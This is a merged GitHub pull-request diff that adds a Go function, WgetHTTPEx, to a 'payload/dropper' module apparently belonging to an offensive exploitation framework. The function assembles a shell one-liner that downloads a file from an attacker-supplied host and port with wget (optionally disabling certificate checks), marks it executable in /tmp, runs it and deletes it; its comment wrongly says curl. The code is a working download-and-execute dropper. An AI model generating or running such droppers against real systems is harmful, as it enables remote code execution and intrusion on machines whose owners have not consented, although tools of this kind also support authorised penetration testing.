Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 13 additions & 0 deletions payload/dropper/unix.go
Original file line number Diff line number Diff line change
Expand Up @@ -44,6 +44,19 @@ func (unix *UnixPayload) EitherHTTP(lhost string, lport int, ssl bool, downloadF
output, uri, output, uri, output, output, output)
}

// Download a remote file with curl, execute it, and delete it.
func (unix *UnixPayload) WgetHTTPEx(lhost string, lport int, ssl bool, downloadFile string) string {
output := "/tmp/" + random.RandLetters(3)

if ssl {
return fmt.Sprintf("wget --no-check-certificate -O %s https://%s:%d/%s && chmod +x %s && %s & rm -f %s",
output, lhost, lport, downloadFile, output, output, output)
}

return fmt.Sprintf("wget -O %s http://%s:%d/%s && chmod +x %s && %s & rm -f %s",
output, lhost, lport, downloadFile, output, output, output)
}

// Download a remote bash script with wget and pipe it to bash.
func (unix *UnixPayload) WgetHTTP(lhost string, lport int, ssl bool, downloadFile string) string {
uri := fmt.Sprintf("%s:%d/%s", lhost, lport, downloadFile)
Expand Down